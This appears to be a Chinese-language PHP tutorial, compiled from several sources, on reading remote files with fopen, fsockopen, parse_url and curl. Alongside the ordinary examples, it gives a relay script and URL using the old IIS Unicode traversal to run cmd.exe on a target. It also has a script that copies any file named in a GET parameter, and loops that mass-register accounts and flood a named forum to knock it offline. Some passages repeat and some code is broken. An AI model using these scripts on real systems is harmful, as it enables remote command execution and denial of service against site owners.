PHP获取远程文件内容
一、 介绍
只要在 php.ini 文件中激活了 allow_url_fopen 选项,您可以在大多数需要用文件名作为参数的函数中使用 HTTP 和 FTP URL 来代替文件名。同时,您也可以在 include()、include_once()、require() 及 require_once() 语句中使用 URL。PHP 所支持协议的更多信息参见 附录 J。
注: 要在 PHP 4.0.3 及其以后版本中使用 URL,您需要用 --enable-url-fopen-wrapper 参数来配置 PHP。 Windows 版本的 PHP 4.3 版之前不支持以下函数的远程访问:include(),include_once(),require(),require_once() 以及 参考 XLI, 图像函数库 扩展库中的 imagecreatefromXXX 函数。
例如,您可以用以下范例来打开远程 WEB 服务器上的文件,解析您需要的输出数据,然后将这些数据用在数据库的检索中,或者简单地将其输出到您网站剩下内容的样式匹配中。
例子 x. fopen() 例子
- <?php
- $handle = fopen ("/home/rasmus/file.txt", "r");
- $handle = fopen ("/home/rasmus/file.gif", "wb");
- $handle = fopen ("http://www.example.com/", "r");
- $handle = fopen ("ftp://user:password@example.com/somefile.txt", "w");
- ?>
例子 X. 获取远程文件的标题
- <?php
- $file = fopen ("http://www.example.com/", "r");
- if (!$file) {
- echo "<p>Unable to open remote file.\n";
- exit;
- }
- while (!feof ($file)) {
- $line = fgets ($file, 1024);
- /* This only works if the title and its tags are on one line */
- if (eregi ("<title>(.*)</title>", $line, $out)) {
- $title = $out[1];
- break;
- }
- }
- fclose($file);
- ?>
如果您用有合法的访问权限,以一个用户的身份和某 FTP 服务器建立了链接,您还可以向该 FTP 服务器端的文件进行写操作。您仅能用该方法来创建新的文件;如果您尝试覆盖已经存在的文件,fopen() 函数的调用将会失败。
要以“anonymous”以外的用户名连接服务器,您需要指明用户名(甚至密码),例如“ftp://user:password@ftp.example.com/path/to/file”。(如果通过 HTTP 协议访问远程文件时需要基本身份认证,您也可以用使用的语法。)
例子 X. 远程服务端的数据存储
- <?php
- $file = fopen ("ftp://ftp.example.com/incoming/outputfile", "w");
- if (!$file) {
- echo "<p>Unable to open remote file for writing.\n";
- exit;
- }
- /* Write the data here. */
- fputs ($file, $_SERVER['HTTP_USER_AGENT'] . "\n");
- fclose ($file);
- ?>
注: 您或许可以从以上范例中得到启发,用该技术来存储远程日志文件。但是正如以上提到的,在用 fopen() 方式打开的 URL 中,您仅能对新文件进行写操作。如果远程文件已经存在 fopen() 函数的操作将会失败。要进行类似的分布式日志操作,您可以参考 syslog() 函数。
在下面的内容里,我将以更多的实例描述这种功能的应用。
在下面的内容里,我将以更多的实例描述这种功能的应用。
二、PHP中的POST&GET的应用
要使用PHP的POST&GET,可以运用fsockopen函数:
例子 1. fsockopen() Example
- <?php
- $fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);
- if (!$fp) {
- echo "$errstr ($errno)<br />\n";
- } else {
- $out = "GET / HTTP/1.1\r\n";
- $out .= "Host: example.com\r\n";
- $out .= "Connection: Close\r\n\r\n";
- fputs($fp, $out);
- while (!feof($fp)) {
- echo fgets($fp, 128);
- }
- fclose($fp);
- }
- ?>
例子 2. Using UDP connection
- <?php
- $fp = fsockopen("udp://127.0.0.1", 13, $errno, $errstr);
- if (!$fp) {
- echo "ERROR: $errno - $errstr<br />\n";
- } else {
- fwrite($fp, "\n");
- echo fread($fp, 26);
- fclose($fp);
- }
- ?>
例子 3
- <?php
- //定义一些连接参数
- $urls = array(
- 'host'=>'localhost',
- 'port'=>80,
- 'path'=>'/index.php',
- 'method'=>'POST',
- 'protocol'=>'1.0',
- );
- //POST方法传递的参数
- $ps = array(
- 'language'=>'php',
- 'linux'=>'redhat',
- );
- //GET方法传递的参数
- $gs = array(
- 'php'=>5,
- 'redhat'=>9
- );
- /**
- 返回:得到POST或GET方法后返回的字符串(string)
- 参数:
- $usls : string
- $ps : array
- $gs : array
- 调用方法:
- getData($urls,$ps,'') //使用POST方法
- getData($urls,'',$gs) //使用GET方法
- 参考资料:http://cn.php.net/manual/en/function.fsockopen.php
- */
- function getData($urls,$ps='',$gs=''){
- $host = $urls['host'];
- $port = $urls['port'];
- $path = $urls['path'];
- $method = $urls['method'];
- $protocol = $urls['protocol'];
- $posts = '';
- $gets = '';
- if(is_array($ps)){
- foreach($ps as $k => $v){
- $posts .= urlencode($k)."=".urlencode($v).'&';
- }
- $posts = substr($posts,0,-1);
- $len = strlen($posts);
- }
- if(is_array($gs)){
- foreach($gs as $k => $v){
- $gets .= urlencode($k)."=".urlencode($v).'&';
- }
- $gets = substr($gets,0,-1);
- }
- $fp = fsockopen($host, $port,$errno,$errstr,3);
- if(!$fp){
- echo "can't connect...\r\n<br>Error:$errstr";
- return ;
- }
- fputs($fp, "$method $path?$gets HTTP/$protocol\r\n");
- fputs($fp, "Host: localhost\r\n");
- if($posts != ''){
- fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
- fputs($fp, "Content-Length: $len\r\n");
- fputs($fp, "\r\n");
- fputs($fp, $posts);
- }
- fputs($fp, "Connection: Close\r\n\r\n");
- $s = '';
- do{
- $data = fgets($fp,1024);
- if($data == '') {
- break;
- }
- $s .= $data;
- } while(true);
- fclose($fp);
- return $s;
- }
- //这里是使用POST方法取得目标网页返回的字符串
- echo getData($urls,$ps,'');
- //如果要使用GET方法就用如下方式:
- echo getData($urls,'',$gs);
- ?>
三、UNICODE漏洞攻击
代码:
- <?php
- $fp=@fopen($url,"r") or die ("cannot open $url");
- while($line=@fgets($fp,1024)) {
- $contents.=$line;
- }
- echo $contents; //显示文件内容
- fclose($fp); //关闭文件
- ?>
使用:
/XXXX.php?url=http://target/script/..%c1%1c../winnt/system32/cmd.exe?/c+dir
/XXXX.php?url=http://target/script/..%c1%1c../winnt/system32/cmd.exe?/c+dir
四、WEB间文件转移:
该例子的代码引自PHP FLAME:
- <?php
- $fp = fopen($_GET['filename'], 'rb');
- $data = $tmp = '';
- while ( true ) {
- $tmp = fgets($fp, 1024);
- if ( 0 === strlen($tmp) ) {
- break;
- }
- $data .= $tmp;
- }
- fclose($fp);
- $file=preg_replace("/^.+\//","",$filename);
- //write
- $fp = fopen("$file", 'wb');
- fwrite($fp, $data);
- fclose($fp);
- ?>
五、HTTP代理(http://jsw.china12e.com/600/)
代码引自PHP FLAME:
- <?
- $url = getenv("QUERY_STRING");
- if(!ereg("^http",$url))
- {
- echo "example:<br>xxx.php?http://jsw.china12e.com/<;br>";
- exit;
- }
- if($url)
- $url=str_replace("\\","/",$url);
- $f=@fopen($url,"r");
- $a="";
- if($f)
- {
- while(!feof($f))
- $a.=@fread($f,8000);
- fclose($f);
- }
- $rooturl = preg_replace("/(.+\/)(.*)/i","\\1",$url);
- $a = preg_replace("/(src[[:space:]]*=['\"])([^h].*?)/is","\\1$rooturl\\2",$a);
- $a = preg_replace("/(src[[:space:]]*=)([^h'\"].*?)/is","\\1$rooturl\\2",$a);
- $a = preg_replace("/(action[[:space:]]*=['\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);
- $a = preg_replace("/(action[[:space:]]*=)([^h'\"].*?)/is","\\1$php_self?$rooturl\\2",$a);
- $a = preg_replace("/(<a.+?href[[:space:]]*=['\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);
- $a = preg_replace("/(<a.+?href[[:space:]]*=[^'\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);
- $a = preg_replace("/(link.+?href[[:space:]]*=[^'\"])(.*?)/is","\\1$rooturl\\2",$a);
- $a = preg_replace("/(link.+?href[[:space:]]*=['\"])(.*?)/is","\\1$rooturl\\2",$a);
- echo $a;
- ?>
六:不可阻挡DDOS攻击
DDOS的一个例子
- <?php
- $url="http://bbs.icehack.com/register.php?step=2&addpassword=aaaaaa&addpassword2=aaaaaa&addemail=asdfasd@dfsadsf.com&addusername=";
- for($i=1131;$i<=1150;$i++)
- {
- $urls=$url.$i;
- $f=@fopen($urls,"r");
- $a=@fread($f,10);
- fclose($f);
- }
- ?>
运行后论坛将新增20个用户
(例子:http://bbs.icehack.com/userlist.php?page=827)
当把它用在论坛的搜索中时
DDOS攻击就实现了
以下的代码攻击INDEX.PHP文件,同时运行十个进程时,可能时论坛关闭
(例子:http://bbs.icehack.com/userlist.php?page=827)
当把它用在论坛的搜索中时
DDOS攻击就实现了
以下的代码攻击INDEX.PHP文件,同时运行十个进程时,可能时论坛关闭
- <?php
- $url="http://bbs.icehack.com/index.php?addusername=";
- for($i=1131;$i<=1180;$i++)
- {
- $urls=$url.$i;
- $f=@fopen($urls,"r");
- $a=@fread($f,10);
- fclose($f);
- }
- ?>
完整URL地址:
http://username:password@hostname/path?arg=value#auchor
协议:http://
用户名和密码: username:password 以:将两者分隔
主机名:hostname @和/为分隔符
路径: /path 以/开头、包含/符号
参数键值对: arg=value&arg1=value1 ?和#为分隔符、每对键值对之间用&分隔
锚:auchor 以#开头
用parse_url()获取相关信息
http://username:password@hostname/path?arg=value#auchor
协议:http://
用户名和密码: username:password 以:将两者分隔
主机名:hostname @和/为分隔符
路径: /path 以/开头、包含/符号
参数键值对: arg=value&arg1=value1 ?和#为分隔符、每对键值对之间用&分隔
锚:auchor 以#开头
用parse_url()获取相关信息
- $url = "http://www.electrictoolbox.com/php-extract-domain-from-full-url/";
- $parts = parse_url($url);
- //
- Array
- (
- [scheme] => http
- [host] => www.electrictoolbox.com
- [path] => /php-extract-domain-from-full-url/
- )
- <?php
- $url = 'http://username:password@hostname/path?arg=value#anchor';
- print_r(parse_url($url));
- echo parse_url($url, PHP_URL_PATH);
- //
- Array
- (
- [scheme] => http
- [host] => hostname
- [user] => username
- [pass] => password
- [path] => /path
- [query] => arg=value
- [fragment] => anchor
- )
可以看到,可以很容易分解出一个URL的各个部,那如果要拿指定的部分出来的话也很容易,如
echo parse_url($url, PHP_URL_PATH);
就是在第二个参数中,设定如下的参数:
PHP_URL_SCHEME, PHP_URL_HOST, PHP_URL_PORT, PHP_URL_USER, PHP_URL_PASS, PHP_URL_PATH, PHP_URL_QUERY or PHP_URL_FRAGMENT.
echo parse_url($url, PHP_URL_PATH);
就是在第二个参数中,设定如下的参数:
PHP_URL_SCHEME, PHP_URL_HOST, PHP_URL_PORT, PHP_URL_USER, PHP_URL_PASS, PHP_URL_PATH, PHP_URL_QUERY or PHP_URL_FRAGMENT.
七、最后还有一个
- if ( !function_exists( 'fopen_url' ) )
- {
- function fopen_url($url)
- {
- $file_content = '';
- if (function_exists('file_get_contents')) $file_content = @file_get_contents($url);
- elseif (ini_get('allow_url_fopen') && ($file = @fopen($url, 'rb')))
- {
- $i = 0;
- while (!feof($file) && $i++ < 1000) $file_content .= strtolower(fread($file, 4096));
- fclose($file);
- }
- elseif (function_exists('curl_init'))
- {
- $curl_handle = curl_init();
- curl_setopt($curl_handle, CURLOPT_URL, $url);
- curl_setopt($curl_handle, CURLOPT_CONNECTTIMEOUT,5);
- curl_setopt($curl_handle, CURLOPT_RETURNTRANSFER,1);
- curl_setopt($curl_handle, CURLOPT_FAILONERROR,1);
- curl_setopt($curl_handle, CURLOPT_USERAGENT, 'Trackback Spam Check');
- $file_content = curl_exec($curl_handle);
- curl_close($curl_handle);
- }
- return $file_content;
- }
- }